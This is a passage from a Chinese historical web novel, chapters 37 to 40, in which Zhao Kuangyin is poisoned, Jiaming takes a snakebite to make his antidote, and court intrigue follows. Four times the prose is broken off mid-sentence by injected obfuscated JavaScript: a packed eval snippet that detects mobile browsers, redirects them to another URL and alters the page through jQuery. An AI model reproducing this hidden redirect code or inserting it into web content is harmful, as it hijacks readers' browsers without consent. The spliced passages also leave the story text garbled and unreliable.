嘉敏吃了一半的花糕直接掉在桌子上,她以前也收过旁人送的鲜花,不是一捧就是一篮,从未有人送过一担,还杂七杂八的什么种类都有。 这等送法,说好听点叫大气,不那么文雅就是乱七八糟。 嘉敏“扑哧”一声笑出来,跑上去想要抱他,又有些犹豫,挑担挡着不那么方便。 赵匡胤将担子放下,两个人就抱在了一起。 石守信眼一热心下暗暗道:“没哭,没哭真好,还是大哥最懂得哄嘉敏妹妹!” 秋芙四下观望片刻迅速把门关上,嘉敏清修之地偶尔也会有护卫来巡察,若被瞧见了怕是不妙。 两个人手拉手回到院中坐下,也不谈近况,赵匡胤只道听说今天买花供奉神仙能够愿望成真,自己就买了些,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080788|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约是供奉的越多,神仙越高兴,说不定能够让嘉敏一整天都欢欢喜喜。 嘉敏怎会不知他是在逗自己开心,顺着他的话说下去:“我刚也说带着花和糕点去敬奉吕仙,求他把赵哥哥变出来给我,可见这神仙果然是灵的,只听见心声就成全了我。我要在这里多住一阵,最好十年八年,每日清修,说不定愿望就都能成真了。” 一个天真活泼的十四岁少女被幽禁于此,哪里有快乐可言?可比起来皇宫,这里要安全的多,至少不用担心李煜会来留宿过夜,是以她倒是真心想居于此处。 赵匡胤心知肚明,摸摸她的脸道:“晚些我们去拜神,也不必住十年八年,过两年我就来接你!” 此言一出,嘉敏便有些惊诧,“那个……听闻赵哥哥已然娶亲,不必再宽慰嘉敏了……” 赵匡胤皱眉道:“若你知道汴京所娶之人乃是皇上安插在我身边的眼线,还会以为我与她能够琴瑟和鸣白头偕老么?” 嘉敏性子单纯,自然想不到朝堂之争会牵扯到内闱妇人,一时说不出话,却担忧地握住赵匡胤的手。 “不过她倒是答应肯与我和离,是以你也无需忧心,到时候接你回汴京,你照样是我唯一的妻子。”赵匡胤柔声叮咛:“嘉敏,赵哥哥这辈子都不会放开你的手,不管老天要让我们分开多久,我都会一步一步的走回你身边来。所以你不要害怕,也不要难过,等着我……等着我就好!” 秋芙在一旁看的直抹泪,在她看来,虽说赵公子对小姐一往情深,可江南未来的皇后哪里能轻易被一个大周将军带走?不过是让小姐有个盼头罢了。 碰巧周夫人这天来看女儿,由阮娘陪着从侧门进来,乍见此情形,手里的花篮惊落在地,好在她并没有召唤护卫,而是冷冷道:“嘉敏,先回房去!” 嘉敏尚不想和赵匡胤分开,稍加迟疑。 “秋芙,扶小姐回去,她若有什么话,待会儿再和赵将军说也不迟!”周夫人话中透露着威严,二人不得不照做。 阮娘跟随周夫人多年,观其神色已知她大约是有话与赵匡胤说,遂端来一壶清茶上些点心,在一旁侍奉着。 周夫人依旧冷着脸,“赵公子远道而来着实辛苦,不过有什么话我们还是敞开来说比较合适。” 赵匡胤对她也没什么好脸色,亦冷冷道:“请说!” “我知道你和嘉敏之间情义真切,可她既然已嫁为人妇,便该谨守妇道,像今日这般与你在道观私会,当真是不成体统!”周夫人疾言厉色:“你知道嘉敏为何会被幽禁?还不是因为她心中总念着你,每次太子想与她亲近,她都要寻死觅活一番,惹怒了皇后才至于此。她在这里日子过的如何,你大概也能瞧见,跟冷宫差不多,你想她一辈子待在这里吗?不要告诉我终有一日你会接走她,远水救不了近火,这道理你该懂得。” 赵匡胤低头喝茶,“那依周夫人的意思赵某该怎么做?” 周夫人盯着他一字一句道:“你若真心为她好,便应该劝她接受太子的恩宠,叮嘱她把你给忘了,最好忘的一干二净。” 37.一剑霜寒 今日道观不禁酒,想来是连神仙也爱杯中物。 之前买花的时候石守信买了一壶,此刻当着周夫人的面打开,一边斜睨着这金陵贵妇,一边咕嘟嘟往嘴里灌。 只听得赵匡胤冷笑道:“夫人的话甚为有理,可惜了,赵某没念过几天书,素来没那么讲理,怕是要教夫人失望了!” 周夫人碰了他一个冷钉子,气怒道:“你待如何?” 赵匡胤针锋相对朗声道:“周夫人,你莫忘了,周家在迫嘉敏入宫之前早已与我签下婚书,我带她走才叫合情合理。就算婚书已烧,誓约却仍在赵某心中,她依旧是我赵匡胤的爱妻,就算某些人再卑鄙无耻,也改变不了这个事实。此生只要我赵匡胤还有命活着,就一定会来接走嘉敏,你的那些道理留着说给自己听吧,赵某人没兴趣!” 眼见场面陷入僵局,连阮娘也开始紧张,皱眉道:“赵公子,我家夫人并非想与你争个高低,她所说的道理其实很简单,没有人知道你要过多久才能来带走小姐,那在此之前你是不是应该劝小姐要好好活下去才行?小姐已经不是只有一次想要寻死了,此事难道你就真的不需要考量么?倘若小姐真的身故,你对她的深情除了是道催命符以外,又能算得了什么?” 嘉敏在屋中虽开着窗,却依旧听不见赵匡胤他们究竟在说什么,只瞧见他眉头越皱越紧,比来时烦恼忧愁更甚,不免有些忧心。 好在很快赵匡胤就起身朝屋中走来,看见她时已换做一副笑脸,“嘉敏,今日外面人多,你想不想去浇花拜神仙?” “自然是想的,不过我大概出不去!”嘉敏无奈,眼神里却满是期盼,她已经太久没见过人群,像个可怜的小囚犯。 赵匡胤心下一阵刺痛,面上仍带着笑:“你换身衣裳,用面纱遮住脸,我带你出去。” 嘉敏听罢照做,待装扮好,赵匡胤果然带着她逾墙而出,跑到道观正殿,混迹在人群里,手拉手一点点向前挤。 好不容易挤出来,嘉敏长吐了一口气道:“人真的好多啊赵哥哥,我都快被挤成葡萄了!” “唔……葡萄……”赵匡胤听她说的有趣,爽朗地笑出来。 可惜他不便久留,也不能带她出来太久,只是携手浇花,在吕仙人神像下叩拜,重述誓约:“仙人有灵,盼我与妻子能早日破镜重圆,不再受别离之苦。日后欢欢喜喜相依相伴,生生世世夜夜朝朝!” 四目相对,赵匡胤握紧她的手在仙人像下叩拜。 事了,陈抟老祖已在人群中发现他们,示意快些离开。 赵匡胤遂带着嘉敏跑去陈抟的院落,此处人迹罕至,连个道童也不常见,干脆抬手将她的面纱取下来。 两相凝望,又痴看了对方一阵,赵匡胤摸着她的脸颊道:“嘉敏,我待会儿便要离去,有些要紧的话必须说与你听。我知道你心中有顾虑,不愿与那李煜亲近,可总不至于寻死,你死了教赵哥哥怎么办?” “是娘对你说了什么吗?”嘉敏的眼泪又掉下来,小声道:“他一靠近我,我就害怕……” 短短几个字令赵匡胤心如刀绞,红着眼将她抱进怀里,柔声道:“再怎么样也万不可伤到自己,我在南唐宫中布置了人马,你什么都不用怕,会有人一直保护着你!” 嘉敏瞪大眼睛,泪珠骨碌碌落下来,哽咽道:“从小到大,只有赵哥哥保护我,我才什么都不怕!” 赵匡胤悲从中来,眼泪也瞬间掉下来,缓缓道:“只恨赵哥哥如今势单力薄,尚无法护你周全,要辛苦嘉敏自己努力一点,在我回来之前乖乖的护着自己。不要受伤,也不要难过,但凡你有一点不好,我也不会好过。”说着抚摸她的脸,轻轻抵住她的额头,“两地相思本就摧心断肠,就让我们彼此都好过一些,好不好?” 在嘉敏的印象里,不论何时赵匡胤面对她都是一脸温柔笑意,可自从她出事之后,那个爽朗洒脱的赵哥哥不见了,阴郁爬上了他的脸,还总是不停的掉泪。 是自己的不幸让两个人都变得这般痛苦,那自己是不是该努力不让悲伤持续下去? “赵哥哥,我答应你,我会每天少想爹爹,多想你,想你带我离开。到时候,我就还可以像以前一样无忧无虑陪伴在你身边,日出日落,天涯海角,再不分离。” 赵匡胤擦干她的眼泪,细细叮咛:“这段时间会有人替我来看你,若你伤心难过我会知道的。” 嘉敏心酸,“我每天都很想你,可又见不到你,自然是伤心难过的。” “我一定早点回来!” “我等你!” 将嘉敏送回云水斋,无处不在的陈抟老神仙又乐呵呵找他叙话:“赵公子,听说北朝的皇帝派你趁火打劫来了?” 赵匡胤皱眉道:“皇上要我攻下金陵,可兵马不够。就算是够,江南地大,百足之虫死而不僵,要一口吞下谈何容易?再则生灵涂炭苍生受苦,亦非我所乐见!” 陈抟老祖正色道:“我早说过赵公子你宅心仁厚,有济世之材,倒不是白白的夸赞你。数年前你助周帝打下淮南,千里沃野几成一片焦土,百姓死伤无数,那等惨状想来你记忆犹新!” “的确不是什么好的回忆!”赵匡胤抱臂叹息道:“道爷,你有什么话不妨直言,无需旁敲侧击等着赵某来猜!” 陈抟老祖坦言道:“此事怕是有些风险,老道想请赵公子上奏表给周帝,请他以黎民苍生为念,勿在此时发兵江南。旱灾加上兵燹,岂不是要将一个活江南生生变成第二个死淮南么?赵公子,这仗打不得!” 赵匡胤凝眉不语,此事何止是有风险? 周帝柴荣已然猜忌于他,如若不依令行事,难免会落得一个抗旨不尊的罪名,想了片刻道:“赵某不过一介武夫,只知依令行事,至于战火祸及百姓乃是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091345|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所难免之事。我军明日攻扬州,让唐军先将城中百姓撤离就是了!” 然而第二天扬州城发生的事却让所有人吃惊不已,百姓并没有撤出,而是由一个胡子花白的耆老带着齐刷刷出现在周军面前。 赵匡胤敛神不明所以,自来行军打仗将无辜百姓当作肉墙推到最前面事情并非没有,只不过也都是用敌方俘虏,用自己治下百姓的甚为少见。 眼见那些人当中还有几岁的稚童,连周军也按捺不住,低声咒骂着。 南唐主将换成了个不知名的,赵匡胤本想叫他出来答话,百姓中一位耆老却站出来道:“对面可是北朝的赵匡胤将军?” 赵匡胤骑在战马上朗声道:“正是!” 那白发苍苍的耆老朝着他拱手道:“赵将军,老朽乃是扬州学馆的先生,敝姓吴,在这扬州城生活了一辈子,临死也希望能埋在这里。昨日接到消息说周军欲攻江南,扬州首当其冲,命我等撤离另谋生路。可如今江南大旱赤地千里,又到哪里能有生路可寻?赵将军,我等只是普通百姓,原本已做好了死于战祸的准备,可又听闻那赵公子从军之前乃是一个侠肝义胆之辈,救助孤弱除暴安良,乃是天上的神君下凡救我等无辜百姓。左右已无生路,老朽遂带着半城的百姓求助赵将军马下,望将军怜悯众生,这仗不打可行?” 言罢率先跪倒在地,一时间全部的百姓也都跪倒在地大声哀求:“求赵将军饶我等性命……求赵将军饶我等性命……” 声音此起彼伏一直不停歇,赵匡胤原非铁石心肠之辈,听不得这等声音,将手一抬朗声道:“赵某奉周主之命征伐江南,而今也必须由我主下令方可停战,如今扬州城的情形赵某会如实上报,以待我主之令,这些时日暂且休战,各位请回吧!” 百姓们见讨得一时安宁,自然欣喜不已,那吴先生又道:“老朽便知那位老神仙说的定然是真话,赵将军就是天降福星来拯救我等江南百姓的,大家不要慌,都回家等着,我们不会死的!”说罢还不停朝赵匡胤施礼,半晌才带着百姓离去。 就这样收兵回营,石守信等人满脸担忧地看向赵匡胤,他们深知柴荣的个性,断不会因为百姓之请而延误军机,不然也不会为了拓边而尽毁淮南数城。 军事战报都是飞鸽传书送去汴京,左右不过十天,柴荣果然下令他强攻扬州夺下金陵。 赵匡胤一只拳头顶住脑门叹息:“皇上如今当真是刚愎自用,一片死淮南还不够,而今连江南也要毁去,这元元众生何其悲苦?” 第一次从大哥口中听到非议皇帝,众弟兄讶然一惊也没接话,正好仆人端来温酒,石守信遂倒了一杯递给他,“大哥,喝点酒心里会舒服一些!” 赵匡胤此刻正想借酒浇愁,便接过来一饮而尽,喝完片刻皱眉道:“这酒……有毒……” 众人尚未反应过来,他便张口吐出一滩黑血。 38.白羽丁香 “大哥——”众兄弟大骇,纷纷围上去将他扶住。 那送酒的侍从原想趁乱逃走,被王审琦一刀劈在背上,砍了个半残。可眼下无人顾得上审犯人,匆匆把军医叫来,威逼他快些将大哥治好。 不想军医束手无策,只说此乃奇毒,自己从未见过,更不知道如何解法,而且此毒猛烈,不出两日必然夺人性命,要寻找解毒之法可是片刻耽误不得。 一番合计兄弟几个又分头进城,把城里有名望的大夫全部请来,却依旧无人能辨别此毒。 兄弟们束手无策,就算是拔刀威胁那些大夫,情况也没有什么变化。 眼见毒入肺腑,赵匡胤料想自己将命丧九泉,用仅剩下的力气对石守信道:“我死之后恐嘉敏将来无人依仗,她虽未曾与我成亲,可却是我心中唯一的牵念,烦请兄弟们代为照顾,我于九泉之下也必感念各位的情义!” 尚且来不及悲伤,石守信心念陡转,道:“大哥,你想不想见嘉敏妹妹?想见她的话就撑下去,我这就去金陵城把她带出来。小九,好好守着大哥!”说罢就起身出了大帐。 赵匡胤恐嘉敏瞧见他而今这般模样,却阻拦不及,吐血昏厥。 寻不见大夫的王审琦带来了陈抟老祖,而在福济观清修的嘉敏听说赵匡胤身重剧毒,立时和石守信赶过来。 两班人马前后脚在大帐中会合,陈抟老祖先是用刀给赵匡胤放了些毒血,那血中竟有一股奇异的香味。 “此毒名唤白羽丁香,乃是用上百只白羽鸩鸟之羽毛方能萃取出来,珍贵异常万金难买,究竟是谁这么大手笔要加害赵将军?”陈抟老祖面上不见忧色,似是知道如何解法。 王审琦脑筋转的飞快,已想出了答案,面上一脸忧惧。 石守信却不同,焦急道:“道爷,此刻就先别追究是谁在害大哥,你可有法子解这‘白羽丁香’之毒?” 陈抟老祖斜睨他一眼缓缓道:“法子自然是有,不过那解药原本也是毒药,而且要找到必须用活人为引,风险可太大了。” 九个兄弟齐齐站出来愿意当引子来换那解药,陈抟老祖鄙夷道:“那毒物嘴刁的狠,尔等糙汉它可不喜欢,这引子必须得是个年轻貌美的女子才行!” 嘉敏听罢急道:“既然如此,由我来换可好?” 石守信将嘉敏在身后一挡,问道:“道爷,你说的那个毒物是什么东西,不会是让它咬嘉敏吧!” 陈抟老祖捻须道:“是一条白花蝮蛇,山上就有。此蛇若是被捉了来,毒性就会减弱,必须要它自己张口咬人,放出的毒血才够救赵公子的命!此事耽误不得,眼下也确实找不到比周二小姐更合适的人选了。” 九兄弟皆惊,石守信皱眉道:“可是大哥这辈子最疼爱的就是他的嘉敏妹妹,若让他知道了我们兄弟给她受这等罪,怕是不会原谅我等。” 嘉敏勉强笑道:“赵哥哥此刻危在旦夕,若能救他,就算是要嘉敏以命换命,此事也做得。” 众人沉默不言,想着以嘉敏对赵匡胤的情意,自然是会舍命相救,眼见别无他法,石守信只得咬牙同意。 陈抟老祖就带着嘉敏去了扬州城外的山上,在那白花蝮蛇容易出没之地停留下来。 “周二小姐,你欲救赵公子,此事老道不会阻拦。”四下无人,陈抟老祖突然正色道:“不过我必须告诉你,那白花蝮蛇剧毒无比,寻常人被咬上一口一时三刻即会毙命,即便是老夫也没有十足的把握能将你救回来。” 乍闻此言,嘉敏暗觉心惊,却没有过多犹豫,小声道:“只要能救会赵哥哥,我不怕的。只是……若我死了,烦请老神仙告诉赵哥哥一声,教他把我的骨灰带回家乡安葬,我不想被葬在南唐的皇陵里。” 这个家乡自然是指赵匡胤的家乡了! 陈抟老祖心领神会,安慰道:“周二小姐无须伤怀,老道告诉你真相也只是想让你做出选择而已。其实你和赵公子皆非福薄之人,大约不会就此殒命。”说罢从袖中拿出一个青瓷药瓶接着道:“此乃老道调制的安神露,你喝下去以后会睡上一会儿,也便不必瞧见那蝮蛇的模样了!” 那安神露竟有一股樱桃的甜香,嘉敏喝完就躺在草丛里昏昏沉沉睡去。 闭上眼,梦里又回到了自己出嫁之前所住的绣阁里,一边在白玉盅里炖着樱桃和蔗糖,一边擀制面皮。 赵匡胤凑过来问道:“嘉敏,你一大早在忙活什么,也不像是在煮朝饭。” 嘉敏嘻嘻笑道:“我在做樱桃毕罗啊,这是前朝宫廷留下的秘方,一种酸甜点心,寻常人可吃不到呢!” 又是煮又是蒸,最后装碟的毕罗外皮莹白如玉,内里樱桃色泽不变紫红如鲜,玲珑婉约甜美可爱。 嘉敏拿起一个递到赵匡胤嘴边,他尝了一口,樱桃渍就沾在了唇上。 一时寻不见手帕,嘉敏抬手去给他擦,玲珑指尖停留在他唇上那一刻,两人的目光胶在一起,似乎连时间也停止了…… 梦未醒,那白花蝮蛇已经狠狠咬在嘉敏手腕上,她惨叫着醒来。 石守信冲上前斩了那蝮蛇,陈抟老祖快速将毒血放出,此等蛇毒没有解药,只能靠中毒者自身去抵抗了。故而他并没有别的救治手段,最多只是用银针暂时将穴位封住,令残留的蛇毒慢些扩散。 众人将嘉敏带回去和赵匡胤并排放在床上,陈抟老祖以提取的毒血混合十余种草药制出来解药。 只是服下去之后情况似乎并不乐观,连嘉敏的情况也开始恶化。 陈抟老祖无奈叹息道:“兵行险着终是回天无力,还搭上了周二小姐一条命,难道是天意难违?” 原本看见生还希望的两人又转回了鬼门关,弥留之际手紧紧握在一起,双双停止了呼吸。 众兄弟闻言纷纷跪倒在地,尚顾不上伤心,石守信吩咐兄弟们道:“别忘了嘉敏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112029|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹妹的遗愿,她是南唐的太子妃,我们现在就去找地方,把她和大哥葬在一块儿!”众兄弟愣住,被他恶狠狠吼道:“快去呀!” 事出匆忙,只能在苍山上找一块地方,众人合力挖墓穴,陈抟老祖坐在一旁悠闲喝茶,偶尔抬头看看天色。 众兄弟回想着当初与大哥从相识到一起从军建功立业,这许多年的朝夕相处早已经宛若亲兄弟一般。如今大哥突然遭人毒杀,实在是令人难以接受,皆是一边挖一边哭。 陈抟老祖掏掏耳朵,只觉再这样下去,天都要给哭塌了。 突然一只手从棺材是伸出来,赵匡胤扒着棺材沿坐起来,看着那卖力干活的众人幽幽问道:“你们在做什么?” 气息虽然微弱,可众兄弟对大哥的声音再熟悉不过,怔了片刻回头一看。 “诈……诈尸啊!”杨小九捂住脸大声尖叫,被王审琦一巴掌拍头上。 兄弟们可都是征战沙场的铁血汉子,连鬼都不怕,更何况是自己活着的大哥,纷纷丢下铁锹围过来。 赵匡胤头痛不已,慢慢发现了睡在身旁的嘉敏。 兄弟们登时心又凉了半截,若大哥死而复生,嘉敏却没了,委实也算不得什么好结果。 正自忐忑不安,陈抟老祖乐呵呵地道:“天都快黑了,不打算给你大哥换个地方?” 石守信吞吐道:“大哥……咱也不能待在棺材里,兄弟们送你回去吧!” 赵匡胤恍若未闻,只是费力把嘉敏抱起来,小声问道:“嘉敏,你怎么了?” “你活了她便死不了,只是要再过一段时间才能醒过来!”陈抟老祖淡淡道。 两人被送进了陈抟老祖清修的山林木屋中,赵匡胤听兄弟们说了嘉敏以身引来毒蛇为他做药引的事,此刻毒性未除,倒没有过激的反应,只是感觉头一阵剧痛。 过了三日,赵匡胤的毒已解去大半,嘉敏也苏醒了,只是情况却大不相同,毒入肺腑,苦痛难当,时常不是吐血就是流鼻血。 赵匡胤求陈抟老祖想想办法,对方却只是摇头,任由嘉敏这般苦苦支撑。 每次听到嘉敏以虚弱的声音唤自己,赵匡胤便心如刀绞,抱她在怀里不住落泪。 陈抟老祖突然道:“赵公子,其实要你记得周二小姐为你所受的苦,也不是什么坏事,更何况她如今的身子已不单单是受苦那般容易之事。” “什么?”赵匡胤不解,总不至于会丢了性命。 “毒入肺腑本是无救,只因残毒微弱才保住了性命,不过也只是暂时罢了!”陈抟老祖话里有话,只是斟酌着未曾说清楚。 赵匡胤红着眼冲过来抓住他的肩膀嘶吼道:“什么叫暂时你说清楚,我的嘉敏到底怎么了,她怎么了?” 陈抟老祖对上他凌厉的眼神,缓缓道:“周二小姐——活不长!此毒让她的寿命大打折扣,活不到常人的寿数,不出意外,她将盛年夭亡。” 39.丝萝托乔 山间露重,寒意森然。 陈抟老祖举着白螺杯饮酒,半晌合着幽幽鸟鸣说出一番意味深长的话:“白羽丁香乃是前朝宫廷御医研制出的剧毒,用来帮皇帝毒杀重臣,所以根本没有解药,最多只能以毒攻毒换取生机。赵公子,你运气不错,有一个肯为你豁出性命的周二小姐。不过此次虽然侥幸逃脱,可要对你动手的不是一般人,接下来你可想好了对策?” 赵匡胤只觉一股凉意从头灌到脚,沉声道:“你的意思是对我下手的人是皇上?” 其实此事王审琦等人早从那刺客口中逼问出来,只是尚不曾告知于他。 不过他似乎并不急着求证真相,而是独自跑到山中去采花和野果拿回去给嘉敏。 嘉敏抿着嘴笑,想起以前在路上风餐露宿的日子,小口吃起野果。 陈抟老祖笑呵呵走进来道:“周二小姐,这些时日可觉得气闷,要不要老道说个故事给你听?” 许是察觉到故事定然不一般,赵匡胤面色颇为凝重,伸出手臂将嘉敏抱在怀里。 陈抟老祖娓娓道来:“有一个大将军,他有一位绝世容颜的未婚妻子,可妻子却不幸被敌国太子夺了去。于是大将军暗下决心,终有一日一定要将妻子接回身边来。是以他南征北战,立下赫赫军功,只想着能早日出征敌国好救出妻子,却不知他的锋芒已经引起了皇帝的猜忌。于是皇帝就假赐婚之名,实则在他身边安插眼线。可大将军心有所属,并未亲近过赐婚的妻子,此举益发激起了皇帝的疑心,决定要除掉他。” 这故事在映射什么几乎一目了然,嘉敏抬头看了赵匡胤一眼,小手不自觉抓紧。 陈抟老祖斜睨赵匡胤一眼接着道:“皇帝派人给他下了剧毒,所幸大将军福大命大逃过一劫,可他还是要回去面见皇帝,也得到了率领大军出征敌国的机会,并且大获全胜。只是此时情势已然发生变化,依照惯例,各国皇室的俘虏要先送进京城等候皇帝裁决。大将军本想带着好不容易相见的妻子到皇帝面前求情,希望圣主能够成全他们,可他那妻子乃是皇帝此生从未见过的绝色,结果皇帝非但没有成全他们,反倒意图强掳佳人。后来大将军被迫自尽,妻子也随他而去,一直以为能破镜重圆的二人却双双殒命喋血宫廷,真是教人唏嘘不已!” 嘉敏低眉垂首半晌小声哽咽道:“这故事不好!” 而身在其中的赵匡胤亦知晓这等故事并非随口编造,倒是极有可能成真,当下敛眉不语,沉思着应对之策。 陈抟老祖观其神色捻须道:“其实这个故事还可以有另外一个结局——那大将军捡回一条命之后开始痛定思痛,回家主动亲近了赐婚的妻子,并故意将自己的事情泄露给妻子,再由妻子传递给皇帝,如此对方对他的疑虑就没有那么重了。再加上那皇帝突发重疾暴毙,年幼的太子登基持国,不得不倚重大将军,于是朝中之权尽归。过了几年他就接回了妻子,两人终于不必再忍受分离之苦白头到老了。” 这个结局听着虽离奇,可嘉敏一直将陈抟老祖视作神仙,对他的话深信不疑,当下抓住赵匡胤的手哀求道:“赵哥哥,我知道和自己不爱的人在一起的滋味,可如果事关性命,还请你多忍耐好不好?” 赵匡胤遮掩着苦痛,沉声道:“此生此世,我只会对你一人一心一意,实在无法容下别人。” 嘉敏瞬间泪落如珠,抬手摸他的脸,半晌喉间才发出声音:“我在江南等你,是相信你一定会回到我身边来。若你注定要先做别人的丈夫,我也认了。赵哥哥,你是我在这个世间唯一的依仗,我害怕会在一个没有你的世界里活着,别让我听到不好的消息,好不好?” 纵然言辞隐晦,赵匡胤犹觉一阵锥心刺骨的疼痛,闭上眼迟迟不肯回应。 嘉敏只觉五内俱焚,眼前一黑吐血不止。 “周二小姐,莫要急火攻心!”陈抟老祖见状,也有些束手无策。 赵匡胤咬牙道:“好,我答应你,我绝不会死在北朝!你在江南等着我,一定要等着我!” 得了承诺,嘉敏的心气才缓缓平息下来,依偎入他怀中闭上眼默默垂泪。 一连数日见不到嘉敏,周夫人亲自从金陵寻来。 兹事体大,赵匡胤纵有万般不舍,也不得不将其送还。临别之际,细细叮嘱她要将身子养好,这样自己才能无后顾之忧。 周夫人倒是少见的和颜悦色,柔声道:“嘉敏暂时还有我这个娘可以依仗,赵公子无须忧心。老爷生前曾嘱托过我,若有一日北朝军队攻陷金陵,还请赵公子念在与嘉敏旧日情谊,庇佑一二。”说罢竟屈膝施礼。 “嗯!”赵匡胤随口应一句,自觉庇佑嘉敏这等事无需旁人多言,这周夫人此刻服软反倒令他更觉厌恶。 周夫人欲言又止,片刻转身上了马车,带着嘉敏回返金陵,一路上见女儿蜷缩在角落里不肯与她亲近,哀哀叹息道:“嘉敏,这些时日以来你一直恼恨娘拆散了你和赵匡胤的姻缘,可你知不知道无论如何娘都不敢将你嫁去洛阳,那赵匡胤的母亲实在不是善与之辈,娘害怕她会断送掉你的性命,你明白吗?” 嘉敏抬眼,面上尽是茫然之色。 此刻伫立在军帐前的赵匡胤不自觉仰头叹息道:“明明我们才是夫妻,却都要去做别人的枕边人,究竟是天命难违还是天意弄人?” “赵公子,方才周夫人与你说话,你心中恨她,不肯多加理会,是否想过她不愿将周二小姐嫁于你,可能并非只是因为贪慕江南国主之身份地位,而是你们赵家无法令她放心?”陈抟老祖突然说了些模棱两可的话,“其实周夫人早派人去洛阳打探过赵家的底细,老道无意得罪,只是令堂的行事作为似乎并未留下什么好名声!” 赵匡胤心头一震,皱眉不语。 传言他或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125544|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多或少也听过一些,赵家乃是寒门,母亲又为人严苛,当初弟媳尹氏难产而亡,据说与母亲不愿花重金请高明的大夫前来救治有关。 不过此事连弟弟匡义都不曾介怀,他更加没有立场询问,故而不知真相。可若周夫人是打听到这等消息才不敢将嘉敏下嫁,一时竟连他自己也找不出什么好的理由来反驳。 嘉敏乃是娇养的豪族千金,若与母亲同住一个屋檐下,只怕也是受不住的。 “其实传言真假很容易辨别,你那有名无实的王氏夫人此刻正在家中孝敬婆母,你回去看一看她的处境,自然明了。在老道看来,那王氏夫人更像是为周二小姐挡灾来的。”陈抟老祖眸中闪现一抹精光,暗暗揣摩他的神色。 可赵匡胤似乎无话可说,沉默片刻径自走开了。 此后一月,北朝军队以主帅突发重疾为由与南唐休战。而嘉敏回去没多久,竟被皇后召见,连陈抟老祖也出现在南唐的后宫里。 原来皇后患上了一种难缠的妇科疾病,御医束手无策,幸亏陈抟老祖敬献了一帖药才有所缓解,可此症要想根除,需去南汉国寻访医仙传人皇后曦宁,求她赐于秘方才可。 斟酌半晌,派去拜访曦宁皇后的人选只有嘉敏的身份最为合适。只是两国相交兹事体大,稳妥起见命黄保仪随行。 黄保仪年逾三十,是李煜最早纳的嫔御之一,虽已早无圣眷,可熟知宫廷礼仪,行事颇有章法,钟皇后一直对她甚为倚重,将一应事务全权交托于她。 听闻嘉敏被派去南汉求药,赵匡胤顿感忧虑。不管真相如何,此举在北朝看来乃是联合南汉对抗大周,那么使臣也就成了最大的靶子,嘉敏此行只怕会生出变故。 可自打嘉敏被召回皇宫以后,两人之间也等于断了联络,甚至等到使团出发的那一日也无法互通半点消息。 赵匡胤日夜寝食难安,兄弟们知他心思重,也不好上前规劝,只在私底下议论: “这江南的国主简直是个废物,怎能把出使邻国这等危险的事情交给嘉敏妹妹来做?这消息传去北朝,还不知道坐在龙椅上那位会有什么盘算?” “破坏联盟这等事手段简单,只肖派人将南朝太子妃杀死在南汉国土上,盟国自然也就变成了敌国。” “可是大哥怎会眼睁睁看着嘉敏妹妹遭遇危险……” 话音甫落,赵匡胤寻来道:“审琦,我想确认一件事情,你堂妹是否知道嘉敏乃是南唐的太子妃?” 王审琦抱着双臂点头道:“是兄弟多嘴,堂妹问起,也就据实以告了。” 赵匡胤冷冷道:“也就是说皇上也知道此事了?” 王审琦皱眉:“大哥,你话里似有所指!” “你自己看!”赵匡胤将京师飞鸽传书来的密令递到他手上。 不出所料,柴荣果然下令暗杀南朝太子妃,而派去的人正是赵匡胤! 40.车遥遥兮 宫中举办完药王祭后,使团就出发了,除了嘉敏和黄保仪之外,陈抟老祖也随行。 没过两日到了端午,虽是在路上,秋芙却也不马虎,什么菰叶米粽、雄黄荷包的一样都不能少,还在市集上买了石榴花给嘉敏簪在髻边,并一盒樱桃毕罗,笑嘻嘻地道:“听说南汉那边暑天酷热难当,我们走一路辛苦一路,这好吃好玩儿的就莫错过了,你说是不是啊小姐?” 嘉敏看一眼那樱桃毕罗,脑中不由闪出自己曾在梦中喂赵匡胤吃这等鲜甜点心的画面,怔然不语。 